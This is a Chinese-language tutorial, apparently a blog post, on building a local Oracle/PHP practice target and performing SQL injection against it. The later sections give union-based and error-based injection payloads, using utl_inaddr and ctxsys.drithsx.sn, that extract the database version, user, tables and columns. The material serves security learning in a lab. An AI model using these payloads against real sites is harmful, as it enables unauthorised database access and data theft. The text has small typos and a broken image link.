SQL注入之Oracle注入
7.1 SQL注入之Oracle環境搭建
前言
Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統。它是在數據庫領域一直處于領先地位的產品。可以說Oracle數據庫系統是世界上流行的關系數據庫管理系統,系統可移植性好、使用方便、功能強,適用于各類大、中、小微機環境。它是一種高效率的、可靠性好的、適應高吞吐量的數據庫方案。
特點:
1)完整的數據管理功能
2)數據的大量性
3)數據保存的持久性
4)數據的共享性
5)數據的可靠性
1.下載Oracle Database 11g Release 2 安裝包
Windows環境(Win10)下安裝、配置桌面類Oracle Database 11g Release 2
PS1:安裝包分為了兩個壓縮包,需要都下載下來才能進行安裝
132位&64位百度云分享鏈接及提取碼:
鏈接: https://pan.baidu.com/s/1mh7s1nU
密碼: 8neh
2.將下載好的兩個壓縮包解壓到database同一個路徑下(即進行合并)
3.點開上圖中的database文件夾,雙擊運行setup.exe開始進行安裝
4.加載安裝程序需要一些時間,加載完成后便會出現安裝界面,如果是在虛擬機的Windows10環境下進行的安裝,會彈出“環境不滿足最低要求”的對話框,如出現此窗口,則點擊“是”進行后續操作
5.首先進行安全更新的配置,"電子郵件"處如果不需要接收Oracle的郵件通知則不填(如果沒填的話會彈出一個“未指定電子郵箱地址”的窗口,如不需要接收其通知則點擊“是”進行下一步操作),“安全更新”處如果不需要接收其更新則取消勾選
6.然后進入到“安裝選項”的界面,選擇“創建和配置數據庫”(在安裝完成后,會自動進入到數據庫的配置界面)
7.接下來進入到“系統類”的選擇,這里選擇“桌面類”
8.接下來進入到“典型安裝”的配置,下面為“典型配置”界面內容的說明
① “Oracle目錄基目錄”:所有Oracle產品的基目錄,如果這里進行了修改,下面的目錄也會相應地自動進行更改,目錄名稱不建議使用中文(玄學)
② “軟件位置”:當前進行安裝軟件(即Oracle Database 11g)的安裝目錄,其安裝目錄不能含空格字符,同樣不建議使用中文(玄學)
③ “數據文件位置”:存儲數據庫內容的位置,同樣不建議使用中文(還是玄學)
④ 關于數據庫版本:企業版包含了Oracle Database完整功能,其他版本的詳細說明可以查看Oracle Database 的幫助文檔
⑤ 關于字符集的選擇:建議選擇為UTF-8(通用性更好)
⑥ “全局數據庫名”:啟動數據庫的名稱(不超過8個字符)
⑦ “管理口令”:啟動數據庫的口令
注意:Oracle官方文檔建議口令為(只是建議,如果是學習用的話可以設置得簡單些,但要滿足最低要求,例如設置為“Oracle”)
⑧ “確認口令”:在此字段再次輸入管理口令
9.接下來會進行先決條件的檢查,如果檢查通過則會自動進入到“概要”界面,若檢查出現錯誤提示,請自行尋找解決方案或者直接選擇“忽略”
10.安裝需要一些時間,耐心等待即可
11.之后會彈出數據庫配置窗口(Database Configuration Assistant),不要點擊“確定”或者直接關閉該窗口,而是點擊“口令管理”,因為還需要“口令管理”窗口進行后續配置(用戶的解鎖以及口令的修改)
12.進入到管理窗口后,需要修改sys,system,scott,sh這四個用戶(用戶的解鎖以及口令的修改)
下表為Oracle數據庫中的主要用戶及作用
口令的修改:在“新口令”處輸入新口令,在“確認口令”處再次輸入新口令(口令不能為空,不能超過30個字符,且不能為用戶名)
之后點擊“確定“即完成用戶的解鎖及口令的修改(如果口令不滿足Oracle建議標準的四個“至少”依舊會彈出警告框,若出現則點擊“是”繼續后續操作)
13.之后會回到Database Configuration Assistant窗口,點擊“確定”進入到“完成”界面
14.啟動服務(非必選項,根據情況來)
安裝完成后,在計算機系統中將出現若干個Oracle服務,可以進入到計算機管理界面,依次點擊“服務和應用程序”、“服務”,以查看/管理Oracle 服務(具體如何進入到計算機管理界面請自行查詢方法),這些服務可以都設置為手工啟動(設置方法為:右鍵需要修改的服務→點擊“屬性”→在“啟動類型”處設置為“手工啟動”→點擊“確定”),以防其對計算機運行/啟動速度造成影響,等需要用到Oracle Database時再啟動這些服務
15.測試下與Oracle Database的連接
運行SQL Plus
用戶名:sys/as sysdba
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-pS5i9aAq-1691667817115)(C:\Users\linyo\AppData\Roaming\Typora\typora-user-images\image-20230808122755690.png)]
7.2 SQL注入之Navicat連接和Oci8環境搭建
一、Navicat連接數據庫
第一步,使用SQL Plus語句連接Oracle數據庫
請輸入用戶名: sys/as sysdb
第二步,查看數據庫版本信息
SQL> select * from v$version where rownum=1;BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
第三步,創建賬號。
SQL> create user mc IDENTIFIED BY 123456;用戶已創建。
賦予權限連接數據庫(CONNECT)、實體創建(RESOURCE)和管理員(DBA)
GRANT CONNECT, RESOURCE, DBA TO mc;
第四步,下載Navicat 使用Navicat連接Oracle數據庫
解壓運行Navicat.exe
測試連接:
測試語句:
二、Phpstudy調試OCI8擴展服務
OCI8是PHP的擴展組件,用以連接和操縱Oracle數據庫(該名字源于Oracle中’C call interface’ API接口,該API最早在Oracle8中公布)。OCI 8 是開源的且已包括在PHP中了。
提前準備工作:
- 查看phpinfo() 確認下載版本
- 下載Oci8和Oracle Client
在WWW中創建info.php文件,運行以查看phpinfo信息
<?phpphpinfo();
?>
下載對應的oracle客戶端, 下載地址:
https://www.oracle.com/database/technologies/instant-client/downloads.html
注意根據安裝的Oracle版本來,上面我們查詢過的 11.2.0.1.0
把文件夾中 oci.dll 和 oraocci11.dll 復制到 C:\phpstudy_pro\Extensions\php\php7.3.4nts中
下載OCI8,添加擴展
https://windows.php.net/downloads/pecl/releases/oci8/2.2.0/下載oci8,版本需要與php版本一致
打開下載文件,將php_oci8.dll、php_oci8_11g.dll、 php_oci8_12c.dll 擴展文件復制到PHP安裝目錄的ext目錄下
點擊設置,點擊配置文件,打開php配置文件
添加修改數據: extension=oci8_12c , extension=oci8 , extension=pdo_oci 取消前面的 ; (;代表注釋的意思)
三、測試
- 配置成功后重啟服務
- 查看info.php文件
- http://localhost/phpinfo.php配置成功,則會出現oracle版本號,如下圖所示
四、Oracle注入漏洞靶場
-
將Oracle注入的文件(
sql-test.php
)復制到指定目錄 -
使用Navicat打開數據庫并創建一個簡單的demo表 表名 和 數據庫名 都必須要大寫
CREATE TABLE "EASTMOUNT"."DEMO" ( "ID" NUMBER NOT NULL , "NAME" VARCHAR2(20 BYTE) NULL , "AGE" NUMBER NULL , "SEX" VARCHAR2(20 BYTE) NULL ) LOGGING NOCOMPRESS NOCACHE ;
-
簡單插入一條數據
-
運行靶場,傳遞id=1進行測試
靶場相關環境搭建完畢!
7.3 SQL注入之Oracle聯合注入
1.注入基本規則
- Oracle使用查詢語句獲取數據時需要跟上表名,沒有表的情況下可以使用dual,dual是Oracle的虛擬表,用來構成select的語法規則,Oracle保證dual里面永遠只有一條記錄。
- Oracle的數據類型是強匹配的(MYSQL有弱匹配的味道),所以在Oracle進行類似UNION查詢數據時候必須讓對應位置上的數據類型和表中的列的數據是一致的,也可以是使用null代替某些無法快速猜測出數據類型的位置
- Oracle的單行注釋符號是–,多行注釋符號是/**/
2.實例注入語句
判斷列數: ' order by 3 --
-------------------------------------------------------判斷回顯位置: 'union select null,null,null,unll from dual --
-------------------------------------------------------獲取數據庫版本信息:
select null,(select banner from sys.v_$version where rownum=1),null,null from dual
-------------------------------------------------------獲取數據表名:
union select null,table_name,null,null from user_tables where rownum=1union select null,(select table_name from user_tables where rownum=1),null,null from dual--<>排除條件
union select null,(select table_name from user_tables where rownum=1 and table_name<>'DEMO'),null,null from dual--
-------------------------------------------------------獲取關鍵表中的列名:
union select null,column_name,null,null from user_tab_columns where table_name='DEMO'--union select null,column_name,null,null from user_tab_columns where table_name='DEMO' and rownum=1union select null,(select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null from dual--
3.注入流程
-
尋找注入點:基本的步驟就是找到與數據庫交互的輸入框,然后判斷這個輸入框的數據類型,以及它的數據的閉合方式,然后添加一些判斷語句查看是否存在注入
-
判斷列數
Oracle數據庫同樣是通過order by 進行查詢數據表的列數判斷,order by必須是select -list表達式的列數,在真實環境中一個表的列數可能數目較多,因此在列數判斷中我們最好使用二分法。
-
Oracle聯合查詢
跟之前學習的MySQL一樣,Oracle同樣通過union 來實現聯合查詢注入
注意:因為在Oracle數據庫中的select查詢語句必須跟上查詢列表,所以在union后面的select查詢語句我們必須跟上from dual ,dual表是Oracle數據庫中自帶的虛擬表,可當萬能表用
-
信息收集
可以通過回顯點收集相關信息
select user from dual 獲取用戶名 select banner from sys.v_$version where rownum=1 獲取版本
-
查詢表名 和 列名 獲取數據
7.4 SQL注入之Oracle報錯盲注
-
1使用utl_inaddr.get_host_name()進行報錯注入
作用:用于取得局域網或Internet環境中的主機名和IP地址
select utl_inaddr.get_host_name(‘127.0.0.1’) hostname from dual;
1注入語句:
id=1 and 1=utl_inaddr.get_host_name((select user from dual))--
-
使用ctxsys.drithsx.sn()進行報錯注入
報錯語句:
1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))ctxsys.drithsx.sn(mc,(查詢函數))--
1這里為什么需要1=呢,是因為Oracle的語言嚴謹,where后面跟的都是條件,單獨的字符串不能作為條件,比較才能作為條件,存在的字段名等于這個字符串也可以作為條件
rownum
1select * from demo rownum <=3 ;
為什么第一個查詢有返回值,第二個查詢只是將ROWNUM=2,就沒有值返回。
ROWNUM是一個偽列。該值在被讀入cache中時被分配了一個值。每次查詢該值都可能變化。同樣的一行記錄,可能由于讀入cache中的行數不同,而導致ROWNUM不同。
同樣一行的rownum根據查詢返回值的不同而不同。在任何情況下,只有當rownum=1返回之后,才能夠返回rownum=2。如果查詢rownum大于1的值,如rownum=3,則是無效的,總是返回"No Rows Selected"的信息。